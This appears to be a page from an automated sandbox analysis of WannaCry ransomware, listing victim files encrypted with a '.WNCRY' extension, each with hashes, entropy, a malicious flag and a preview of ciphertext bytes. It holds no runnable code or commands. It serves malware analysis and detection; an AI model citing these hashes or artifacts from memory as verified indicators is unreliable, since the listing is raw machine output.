                                                                                                                        Preview:WANACRY!......z.e..v9.u .Oz..^...c..Si.m.....w....%./.3......+..\p/....6n|3...R.........Y.CoI.(....K.w{.o.~.....\...kE\...cR........U..O.....jl..QE.gU..&=..ba.T6.s.u!. A.NI.....FTi..g..O............l..[..c...K...d..96.RP....%].(.=..k.a..'B#l.bUa.9...f/t.................X...L*..yPp<3...3P|tX[y.....3....O.h{......f....O...}.w,..@B.V.#.N...M......O.....+...;.x#.r.....@.......f...:r.;..~z./.aHi.[.........#..:.p$.(.k..3..Q7"..n..~...k...#...._......_Or..s..PX"#A.:{...^...."0[X5..nV..:K.H.U.....E...XA...&Jw.|.t.sM..8!P.....|..*.v...F.."...2../.*^.a..2+;....kL...Y\...d.G.......:..r.w....w...}.0_.9.;.3..........V..m{.tI..N.c....@..Cu2...u.......`......#\G"<!..,..T.4.D.....\......O{...H#....kpp.....:.hGi...../.#....l..t._..3.c.._z.u....}.A.&.B.z..6....Yu..'...B.X.f2...g........<.,.Z..4....Y....3.^4\...\=..v.....(...#..Ft.2......u..U....".x&V....Bjo.dS..f..8..T..b.r...=.....Vd.l..c*..r.....}<.!BD.._..(&..]5;E..^.3....2.|=F .....t..M.!.....J.*

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.830210524834923
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkh2jFKzKZCMMEzLa/SvJrFcUT86o3mkPEZJ0IJAgfHOEobud+GOMd:bkh206zLa/S5uUT86azcZJ0mmECSS6
                                                                                                                        MD5:0D09688642C6D7A82ACA5FDEAFA7E5B5
                                                                                                                        SHA1:891E6BB844540B5C4A6B7CF03FAA91E27D484AC4
                                                                                                                        SHA-256:BF23A89F3BC5E9419586E0CC29B68B3F33F1357BCF0513493CECA9C61311C790
                                                                                                                        SHA-512:F3A7DA404112F0CB747DC43D9C0587C2216C3E46E3BE19A6F151016593CC41ADA8DCB21E86F2105D9E4FDC52C29969AD70C4C13417A32B1F14E63C233454AC81
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....uwJ.Lp..~S#......A.^Et.....fC.J...#l.}-sN.ZL...(j...m..@.0D[..(.'.@3../.3.?.sS.......m6D.2x'...s..tdU..]D........."R...[......*.6.d.z./.....H..z..[P.}:i......s.q_v.]..RE.Ozu...$.<?lg.....BM.'.rYp.4E..h..5n.f./u.,........(../.Vv.=@.h).p...<.....9...............Y.9..K.z..<_(......?tf.+.41....Fu....#.'......B..j._c.. ...."%3.X..:.[......D.t.JO...KKy.......Pg.7.M.N.i. ....O.d?'.Y..23.....2......U.I.{....7.2..L..]..i..:........N....t7KY.s(W$r.OT..^.q...\...d..]G....s...z.c..Mb.5wM.}..k=L.S..@....4.W..:ED...j.b..>.1.n....X.#-v..W<&.'^.`...m3=Yl[.......:Hj.f..+b.tU.R.....j]x..8.q.......CF.o.2... ...]^.}Pdd.........G`Y....q.jjh...9.I.V`x.,....#..H...Y.#..nw.Y..IA.......+&.gP...E..% .e3...m..O.>....k.......2}...d...H..o$y.jPS.....<o5......Rl....x.Kq.`....r..&hw.....q.............@.}{.V..x.S}..z+UG.s.1N....&...A.\$+.G..jM.Gxd.|.2....k.O.....M<.[...J!.Gs'.[.6D.v.d.n...R.*.4p6...|..h4D}l.l..q......]x(.."%........\..!S]....8..:.g..q.

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.84868624298707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkIoo1yS2wnlKe8lDFoBfndgtwIsr0YEyYOjMRByRLln/KMZGnns57J:bk3QyVwn4jDFAnatdsrFjMH4lnSMEnn6
                                                                                                                        MD5:7459F56807A30F9BFBA2FADC749EBF88
                                                                                                                        SHA1:43ECFBE28526527048E7B6502F36ADE1FE4BE162
                                                                                                                        SHA-256:38B148AF705D8F43D96D0601BA1B602F8EFD16041159CF3B9C17722815091127
                                                                                                                        SHA-512:21D352D459839BBBED57AFA48BFB5872666963335741109F934E4878ADE34B027BD09A3DBA7C6912D3F6D02DABAC4D41A438F5ECC8E86BB4BE8F843A7B340DA7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......([..........P.,.@..EP..>P.......Mi.a0.....a..&O..+qT.D..M.H.2P..]S4j+6.j..D.".Rnw;.8..Cf.-!U.l.....voq..<..|.\..Z.n..<v..p'8..b...`..........s.9r.d............!t..q.v?.B.~..c.....u?.#`...o..o.*..~...FO.H....{{ny......H<M.(#.h:O3..H..................+.z...N#..FN.3......T6E]..-M..W..i{..D>.m.e8...$_1.wb..u.o..?.P...p.}.r.5...H......_A..Q..........R.b.....O...%,..*....Z..~b~.Lw.o.`}w)...E..d^.?.....|....?.+.gn..<..d..N.w.W.6.1.?+N....><..z.5.....d.8.:r.:TX.K....8>..&.87..}p...U.....].F.8U.g....c.t,<.+SX.T5D........h.iVw...0..r[/u..].X......'......}!.(=$j..S.=I.7....}{N.w...I...~.c1.WsB'.5.6...S.o.....4.@...`..hA_...c.c......R'...A.$6h.{.F..n...r9..p.N.8.;.e..r.C..I.<8........B....H....-,)x...ar'.Iv...(.G?>.b..}.>.A.^......t...4Y..E..J.p..9..M....F.>.:FS.-|....s...RUx.i.7..@..A.....VI_...p/....I.g.f[`.....??v."._E.@y......z....;ne...q.F^(...o.kK/.SK.H .?..8..^...O%.m}..!...c....4......g.........poc{R.L...D.[

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\QEURJOJQOH.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.840035923191883
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkVie9djdH7Ux4YimDG0OdpjJWhlYNV67z13q6uBRSmzdzge07sqXz0VqV5g+:bkVvDcFElJCuNV0B3PufSEdMIIVy+
                                                                                                                        MD5:FA5DD268E008000712A68C14BEAEEE72
                                                                                                                        SHA1:64772419F7DB796DA8289089AD1D36762A40EF1A
                                                                                                                        SHA-256:5404513CBBA6A8FC81CD52373DC9D7704AAD2EEA4222EFEF6DAF201E628EA25F
                                                                                                                        SHA-512:B981C7C28B15084E6B9F6939CF3D82C3AB0220537D6F4A7F94837294EF14392531A737841A292CF2B3A9AE34A96206D333E6EC371C7182C61C6C4D5D2F1F8B73
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......3.8~H..m.....,.>.K.=jp..+._%a..iA..t.O.......&|>.+%.$rm.2c@....#.7n^..FZO<.....<.z..r..o.cU...R.4.....C.?.&.#..QS....fF.J....+.=*.Z}.har.r.tu......f...}B;Q@.A..8.V..~Y..{..p@..jt..>O..p..&.YA..J.g.....8.;...(9.. R..S5!..X..w.8.O...(....o..s.............0^..68E.~...a..O..o.....<.`T..%|?.`w.^4;....><..=.,..O.=E.p...s..)8-..!.k..l84Z...@... .5.......+.hZpGR.)-...J...!..-Q#.cf.n.6X2......xj.+.:.4...x.|.[.5.l..9...Z.7..\...\.}....o...ft...U..q..1.T(j....|..3.nnT......Y"....<z...])....,..l+u...]....i$..x.l.R.cO'.......-..;.3..Q...y..F..8N...g.GX........R..._......)Gb....p.@.Vo.....E@.o*..PC."..urk...oO...:...J.F..S..k^.,L....t;....Fm...k..Qj[.T.'...=..[.....4..B..AQm.....y.??........7.M...:$.d.).k.0lK.......l.2.<]$...%ndC.4K...-...9}e.j..6A.....Ey.n...Y..!..5.C......j.....)|...(.=!nfi&...`.+....*0....+./r.e..a.))aj...g.l...%W.2....a`.K*.....2. .c5...obyU.iztx.~:..#..S*...f...?~.g.YT.5.C..*.!.u..T{0...Ss.....L..T.T.j.....

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\SQRKHNBNYN.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.860124393922438
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3zpv26ouQj5JAndOXGGczfL1fjdQ0GEtQwGs182AsoYnukFHJKodWF2JRTO+:bk3FvtQlJabL17HGsVGs18XxsTJKoMFQ
                                                                                                                        MD5:C72F41359D9111DF82A15797CD938908
                                                                                                                        SHA1:0037A3577B7B97956A1D3A54ECC0E46AEE650AB3
                                                                                                                        SHA-256:F364CD00AD1992C3E5568CB2967B9A5E2B76861E90EFEC33973767389097D3C0
                                                                                                                        SHA-512:5E2EDA1BFC521869D533F34D5736FF0B7D6EF5A72854C95B4F96F356FF6B71211C463DBB2211184F01FF8F4528E2D6AE18A99EA6B8374F0103C2C57491E5E41B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........I?%......c..4.q.y..bW..n..m..Q....Z...w!s..W...oN......m8..A9...-...>jo.<a2..tyz...I..a..&.z.fs.t..w.\-.G:.[..*.<{.......R..b.R...*...-=.V2.q..'v.q.....*[..g..j......N.dvpH.1e..*r.4.FrR........W.;...=...B(.-T*?.x..9.y.K.Q|......;0......[.............LK...........O.....d....M.)d}.s.M:{..h.q.......F..`..N.;,.......K.-.*^...O....8....D.1L.#..F......2%4-....^.o..O.g.%$M...1h-.....q.k.p+ ".......J...-4@r.T.|V.(.s.I/...@.Kl..?.a0w...j.tz.2..u....:>...sv.K..'...V\.5.6Sz.7E.Td..F...H+%'SB3../LV...pT3....:.C.y.a.2.1..+.~O.g.=<.g.*...T/.Q.$.uj.V...Y...hF...!L.z..l...t.@0.......w..7z....x.?....rgU/py.....I|0u...^..DC..d..l.....e.y.Gm.........5.d.).=A....S}.....!!.W.1....y.9[.\...E...|.d.;../.....!.....C.o.%*p.A.`F2\..L....T..Um.'4.....ioT.....%.7*...8..+..,....5...l|..T.x......./.1.a......WYf.9.<zx).&@]...A.>D&.[....{:........./#B....r...p.K=\n../.....0.O.....#..>S.9Gi. ...r|*..QL.U3....(.?y..4S.w/f.B....&:.r....S\T..V4.mv......fV....

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\SQRKHNBNYN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847925089237269
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkcKZJu9XnTYvKOs0zUCqNX8x0AFgPtlRuqDgU4hhIZAIgOQXW9tujVO:bkDu1TwxzUC0CFgPtlRuZRcZDDQXW9E8
                                                                                                                        MD5:493D3555932CACCE905014F8E727E60C
                                                                                                                        SHA1:D57EC84E600F7CBBEC0E555925D315E2A117112E
                                                                                                                        SHA-256:EF3A480542B43F1AB7A2FEBFB285372D6511CE4988A5F0D1DA41CA3AD3A4CF5B
                                                                                                                        SHA-512:C3AFD68A3DC6C041B3A369D88CE9B72655CCF177736AFB6F89B0622BB24DFB2E70B6E0D01AFF1647D64EB63B1A90E9D9CCC6EADBF1F89D49F9769713814EED7E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....o..K....,..).LPa........y.6..A......6...q.N....S..k...n..Uf.#\./...bm..$u`/E=..~........Y..dB(..P.u.V.......r...`....Kb.lj...'.r...v..D...0..k.;3..MS&V.2....4...6.D}_+..]U[f.<.....{dl..L...wK@.ly.......;...4.b ...4`M.S...O....L}..9}.3?..i...............L.|1gb.....-..l.....|.%..K...TM.O..a.....}.O\..B...7..a.J$O.S?..['....?..J6.=.P.;..5N....@.`W.s.$...N.t.0.W.yO...V.j..y....P.HA}?.SE.$w..\8.}.....G.}.-3M..18Li#h.N.h{.^..........q8t...vh...c#S...ow....7v..:`...X.?:...z.L...&.I.....$.g.Z..'...P.....a......?V.|m..L..z.4.....x...n.... %....9.~.Ox..I.Y]....N..N..I.{{..+e...J*6s.(.W..U...=.O;....*......G..y.5lz..M_Lwe6L.w..a....X<R..u&....nxa.......f..J....k./..p.oq..P......4.i'........V...C....P^.A.!u..G.rQ.%J..GAX.`:7FG...u.._7!.........R..I.X3..m...$..h..*).x.&$oh..sP{W#E.m.og.|..tO....Y...........q.p....n..e...7..8..../..&P...u))IE....tL.....O..i.".......C<.m.dPb.?G`...b.f3.(.}...Vc6.....$....*Z....fW28Ok.{9dg.|..o....

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847846072269437
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkHE7uzwlwrLgPh+4HhLAt15yuxneVUZBrtLLS9rQTR5AXiGINysVNh8CZT:bkkqslsgwOi9xneqtL+9MTwENhVjRZT
                                                                                                                        MD5:3AAB05600694D419F4C4606E437E23FC
                                                                                                                        SHA1:0B455F62F00C3E66203C86A641F288A07E28C8F2
                                                                                                                        SHA-256:78E00D27BD93C31E3E79A36B68C299652B30084CC1F8DB50F6D3F16C3BA13B03
                                                                                                                        SHA-512:E441042E4A2E530010213AB627A490056CA22AD3E1A26B41B920667037B7C385230682E7768EECBC279FDD34459567976DBBC91DBF0BFB20EABC5F1B62A40C99
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....>.+..O.H..!.R..8N..*_..q.../....y.2.E....f..+...^.Q#u.;..|.....ag.--d.`5.J......F...o.c..w]...a..uS....o.. ..B.@.nk....x......3K........I%....H.h-.;p.:..+........T...G..4.@Z.........e...{&N49$.|@...FA...n..B.q..-...U...F...V...,....4.....u.mNt................7.X.. .p.6..3.........j../Z...N2.:......V..g.?....?.t&.QR....4..A[..,..w....2Q.....g.~..A.4..i\5.m..b......[Y.M..o.y.tX........K..2..0r...T..........YCl...o..nwbv.I..9.i"..5.......c..........O....d....l.cB.y;.#...+.H...DE... [.R9.F.gJh.Qr .N|....c*...}...A...>1..f.3.:y4.,..>5.........L..p}>.@......1T.........L..q...y1.g}0."..2W....x....O.)...i..lpd.....]Q....R#..f......W..R`..~n.^8.%q..F..U.....Fj>.)s.5.D.....a...>.B.O.9....g....EK.. .(.5....6....G&0b .c.h.%E%....,.....],<.%.l_....#wg.-5'E^x..y......G....IK-.!.....r..4.G.M&..X.d]..e.A.:..I......O>pO..v...z.4L.=.t....A....z...{.3S......8j{3.D...(...F....!.'.c,`1...z.......B.2.(x....lS]....h.....M],?gWh....>.x.8o..6.

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.832751205032452
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkvPji+zC1U2q9LLCBTPOIW4K/aN2hRaaHFAHHv5P8k9+I:bkvk726l5W4KiiVMP5P8jI
                                                                                                                        MD5:4D14C49EED9EBBB5D49D11D19771F0E7
                                                                                                                        SHA1:DA2BBD084513DCBC0663E0AA4BE5A88ADD68C30A
                                                                                                                        SHA-256:969CE48FAE0B207B21C029D8F226779DEDDBDD11BF714BAF6B1A63C3E4766C19
                                                                                                                        SHA-512:FBC7D93C197EB83E5C1E909543A3A60C0318CB9741939968E2034FA1BE94AB4592A5F48B245DC7FC9DE346C70936B221EAFB26ABA1F99468C5F073DC9C00137B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......L......`..O..B|..b.].m.........C1.k.X......l..t.{..%.I0m...7.6.-p.Ml..".!.O...."....z.....j=.0.)95.3.)....W..Z8.".....l...Y...ws...q.>n.H..d.v.Ss+.Y.Sv%.H,.(a.._.^.b.$....z....AiV;....o.s.3."..14)}...1..=..2w.I.........7..Y.U.cv..E.V..'....hs............=.Kc.t.y......zNS(.rk..x.A.2..;.W.U.I.60.&D..nU.?.j....."&..2..-...8..L..2..R..1.......4..a....r..\..[6=U.......U/.~.p:.W..........f..V.....O......#..A.Lh.....M.!B;=.Zek../...`.0..r...._...i...y.c2.....Z>}...D.....K.*...*}.....Yv[......cW jP.0.U8T;U.p.?......b2.j..<y"..D.j....Y_i.....i#.Z......4H`k..z.9bPm.h..t.U.:...k.../..8[Z...7(.....87..~j.G4.....N..._..l........V..0.\S.V...."e~hkE Q...P...6..@7..E2.)..J,.7@f...1=..X..*J.+.B...F.......m-.E.......".,.-.).Cr...b.[.~H..{x.w.O.7..1.j.....G...c6.F....&.D....M@.H.h.G.....r.J.15..|.+..m..\.(C.=...X,....B..Tyt.....x.......W..Z.\..0.. ..^:..s)...1...J_.[..M....d.u..w.OI...*.%".... ..."E............=X\B[P..-.....L.`q...K...;./af.@.g.

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\WKXEWIOTXI.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.854185310132552
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk2AhNGHXmNEDmFs0260qwmaVExZd4y6xlgZyIIPOiH16Y1GKPFxnVp24e9av:bkhhM3mNE0263auxZdSsyI4McxnuT9av
                                                                                                                        MD5:E7E65692654FC4D44A9ECFDCCF969F10
                                                                                                                        SHA1:F7BE3CDCA834E56F3FD5BC08B6CEF47694BDD4F3
                                                                                                                        SHA-256:4760D4BBA93E796D8AEFDFFB9440A9EF4B5CCC4F6261C0BBA7CC7D73603A1F85
                                                                                                                        SHA-512:4E3D1C843646FB64726195959E49DEF56486A89489163897C6FA7C9CFA999EB66A3732ABC5C41DB428E8AF242FAB69502F5640E60D2306EFDA984800AD5368C4
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....._J2......@..sA..`.6U..g.s..H..ud$.w.c55.....z."..)..t.+{..|......c.s.Ne.b...f9.Y...[i%g.~......^'.X.......Ji`kSq.1F....,..Z..Z*..nKE...t..(.J..%w`.m..?_x...N.......*....l..HZ.H.......6...F^.Y..lpJk.?....T.U....k.1'..........B.j.<.]5...j._.L..............(s.,.~.E.,.S.N.z':.R......T.....p&..Xr..U..7\....%..R9......Q......r.....Q\)..........w1....e...^..=.../..t...!.....4tS#...A...[.tE..jL..FE+%...w.y?\...\8..a{k..:_.. ..z...$.N.I.f.........Ti2x8b%j.N,ij5_...o .d..i.......9..D)..@.}(..4i..qz..B[.4N...("_UL..#..8..T.P)y....W.I...../.Z.u(...7r0H..V./.... RTq.H.....b..bM..2O+.T.......Z..!..\...s..]...&.c...{..8c.z... g.>s.`..Sp.!.xg.../G.".iB..)..3.`.-...sx.=...!!f7c..Y.L....{,*.x..oR.]...$\>*...I.../....TS.1+.>>.z.?...$z.g.,.^..h.(:.6...|....%.B.....r..z......].v........amj...[...5.k.n.}..wd..%...I~.l....@.m.....U#_*[..C.Q<b......;..A.%...]..f.kaO...Pur@vA.\0=ZJP..P..f...O..R..$Y.d_3.....z_l.C....<D8....T^.....G....;....cv^...,^.....

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.846315167935484
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkvFEW3TfqiSSzoGwyz1kI3eD/ykKCiRqee1mgDmOyNd44ENO:bkvF/Si3ova1yryk/B1mAyNd4RM
                                                                                                                        MD5:90E676F3C95350D52EFF257297A8678F
                                                                                                                        SHA1:4FA243344519519980747E17F33D0871599B0396
                                                                                                                        SHA-256:AA720E7D7E8B6D99115E9A10303B07417CCA44E9446FCAC7FAFE68892ABB80E9
                                                                                                                        SHA-512:6583DC75D14A2C32866048FB162B045F7734337177870EFA0B7CFCABF48E8EFED7AD09A3B3C38273C6ABC067DDFCB3035D8CC894744166F520AAEA1C5E9271EE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......l.<...@LT.jcf.A./.w.XUz3._h....-..e...i..~...h..].<..a......n+ Y.f.w.Y...(..Sv?.....4O.vZ..V.s.Q;..d.N{..@..i.y.+..'=...-....Hc. {]..Q..g.M.5&..........2.v .L.".^.<.`.........r9.T.l6dK.o.*1....X.s...I..Fb..R.X.2...u.....=GY?q.6,.N.u..._.R............ZkC..9XUP=YI...`.&.e..5l......2._.m...(...<..-...1AF....0....7S.|.....:.a.Y...2k.xJ...k.\.s..yq.....H~..x..I;McL.$..&.I.$#y...gv}..h~Q...m.i.[...{}.T..a"...Y..dd.~.6^..y.4.....B.x~..T+A..M.G...u.s...e.z~_...k......V...z~e..]...S,.@.[..~:...6._,wNU..V.....x...76......Md~63..H...... ?.]@x.T.Qr.K...,y.*..`.^u[5...k.:{9..=.O2...b...x.h...3.O...F~X.?..o.....z....PCJSaY....F...Br..d.O )7]......+.ey.;...bn.e>l..3.4w"..r....<...d...2....W.N.Z.6.7....d...i...:..x......e..\[U..iQF.W...w.r.j.Y.......z...H....;..Z>...n...E.Ds4.!..H....6t.....E.....(...=m.Ph]c..v>...<@..5b....X=.rd.....Z)........_.WDl..K"|.^..S....w..N.'.>. ....h.8.f.v.E...Q..B....1%(t......t..-NT.............=...%..j6.z

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842954987209988
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3ksYNtWRTd878+RHkMNBKsOBKzn7KP6p+LHz2qVDyl+S1Y3gNgVlubZ:bk0sYC878+RiBYwz2flYrul
                                                                                                                        MD5:FDF14FE062813CA824543155F3A9B77B
                                                                                                                        SHA1:85A8D91A13321077107403937A6206902AB1298F
                                                                                                                        SHA-256:42A1A1C00429F5B49C14822FA333639A6373BE04C0EB2B5E290B310E17E6798B
                                                                                                                        SHA-512:E9E6A696720E0278F32326289434EBDBD9347536C51DE9D68F8281E4C9CFB19472E477E62018F88FA3AD7A1457E34C1EE4A33B56E09622E141B8845BD1E37733
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....{...B.T..$.R...@C.....!...f.K.Y............h.s.N-.Ms...b..;.`Sl...,..\.nD)...Q.C_-0h....y...#7....6,."|.rMI..sf..2.F.'...........[e1..Hg......6JT... ZT.Cl.<. ..&YrFi%.....j4i....K..&.%.....l0..Vn.%.M...(..d!......uq.8Q...(...UP...-.\$;.zl.D../...............)..W...H......e.[...F=S..H...uA%..m...3.qv..|.o:e.Zw...(.......c.................<Vf.1ZTJ.....C...,.c..V..9y.b...|.L...&sNy.N./..Q...W.n1.L.k.].+2-.r%.%].R.z....Zb......Z.R..a...s..i*...f`.7...X....U;....6..^s/.F].(~.'@w...uR.\..c..6`6....b..:h`..{..4.....p.!...F..k...[.U'tn....5.-*..ro...z....|...Cb..U.lC......FA.s.G...Z.m."d.s..*....~...V....s.2.:U.d..l......=O<..&.........U1.O..hF.V.LZ=1|P...s..M.........a7....3.Xh..~.8j{;.....H.lS....bV.W9.7...t.$.\.?.-..5(._R....}E5.ZU.Kp....YI...f.....7..... ...bZ..&...i.i...E...A.e.6.N.O7.;.|..\..5=...6/j#..W...e..$..LL.."...fF..i.*..AJ.....5.oBZ}..y..?.R.aw...6...S/.`........^....W....".N-.....t....g.]7.K~RN[.J.3S.#h.;.6..4..

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1024_768_POS4.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):40984
                                                                                                                        Entropy (8bit):7.995764374699103
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:e8ykekaKVRUpUeReOKTfbZml4I8xstDvlUGK52DcKDsh6CkUc4kpPBnlh:he6rUdRlK32l88ZUx2ISjvpPhT
                                                                                                                        MD5:6EF446B9CC2FBDCC01D0C90B227FD2B4
                                                                                                                        SHA1:A1468246D295281E3F52D3A513AAB7C2F23BDDDF
                                                                                                                        SHA-256:BA04A77AA323250F226747DE616F74BF553DF9B08A3E1103E304F5F8B24C55B4
                                                                                                                        SHA-512:9792E33FDD16C9409C5BA2703C09E5D74C677F0F92582E620A140427F0E35A7B635F876015DBD04061F30A7712CF6C4054736EAD879CC44A4BC9506AD18E41BE
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......+..S.......G.vKIsa.D..,..Z......./.....].j....I.{..D5D.AMp....z...jL..../........X...`..Z}.Z..>g.3>.Q?H..[E%....2j...rdBxM..d~.".4...J.9.V..R8.y./.:.......%......c~*...s"....8.0..D.r.w..R8..p..,4....2.e...o.P....c.N.....qk...Iy.]I8.^..................).Lw.M...(K.U..".9.?...A..BU,......L...o.h~........ueu...........;..<-O.(..U.>."...)e.U=.n.c./^....~6...=g>.>J..u.).h.....t..!.E..i.3.......A.FI.w+..q...:.L....f.3 ....v\....9...G.......]Zb..o.v@....._t.OL...IX...I.~.....`.%........g...z.n...B....J-....tJ._vn.....-....i.....7.o.q...ZS(W.Y.6>.j.s[......4;..H]k:u.~..v.o%.d..<.%....Rg..%.h)$.qa.. ...;...z.!..#[...$...]...Q5l...)9....V#.j...ke.X...Q...V../.....]<..[.........V.9. ..F3G.."7...[fwT..p.X.4Q}...#..,.....9...lv.lz.O().5..x.}.U..O5zH..}..y.=kBK.}D........Y...[...s.4...........AL...|..8y..b.Y.WD.\H.~.a|...T......pZ..S4.d.(|...-`...d......>...F$~:e......L...!.<.........B.%.y/..5t..: ....H.cwL...D.Q..6.}.

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS4.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):125288
                                                                                                                        Entropy (8bit):7.998469864367244
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:fwDrHE5Glg6dkV9yuyr75Zwt0RdTlZE1n2nObr//mhiivI4w5bl:QBOV81ailBOf//enGbl
                                                                                                                        MD5:238B4D6FF0FC6913149780015F809D12
                                                                                                                        SHA1:F9940C0CD6964DCACA557F7BFED8585162B2859F
                                                                                                                        SHA-256:B3DFEF62CC51B2CED7136FE0D6EE624EC5058A090628678C9A04B2A6245C5AE1
                                                                                                                        SHA-512:BB53B2BA0242DAAAA93B8B9875FFD6903A7FBCC1F88025C8E5E7B960D13A8709DA9AEFD0CCCA250F17CBA2D6153EFC2E2664E2C59BB6D641B4AF913D8DF288B2
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.... ._...l.,.:....&?..^Z.(.....g~..\.7.x.D..DC>mt....ej=(f&.|.W.....U....F..w;.O.d|Ge..9."4.e..* .q..c..4.R.=..V.a..*.9.!..........s:C.r.ax.9...=%U.`0.....K..;....24X1]'.#ks..nv..c.*.v|..E.....X_.5.f..5..........PW...vf>...Vw....[.Pm...Ak...<..OP....D.......J..SV..)J.#.P......a..d.!.v........?.....mR.>.~$.;.YY....8.`....|V..4..&..M.....~.~^..%]V....F...M.^v..3.5v........6......'.m...;D.p.di=....2*..'....`.....CHZ"...WK..4Y...?.$........".px......B=...TD.^..6.(.....LK..m.x.xLN..'.c".. .., ......~.... 9..r!.....Q~wz.4.$.E.B1.6...,../H.:...-...^..3....+.65...J..;..(..._69.g.4{....{..H?9.#..H....-7..J.!..<=........@.z..o.<.R}<z(....ot..'..3hj.....r.."/...<......6...%.....U.T..6pG4f|...W...z4...... ....*.v........\..T'#..r..."#1......G.hL......Q+25.F.5bq.X.K@..~...&.Q........sA$.."..K....*..<?I,R..G_.+5.6.Bq`u...d.}..W....<...7.YW/l*...r..k..@w.]N.{\Jd_.U.|.S...?.....e.....&...;@*........-G.8<....#.)...B..(...)@..)'....4.;\..cE.k~.%.....

                                                                                                                        C:\Documents and Settings\user\Downloads\GAOBCVIQIJ.jpg.WNCRY (copy)

                                                                                                                        Download File
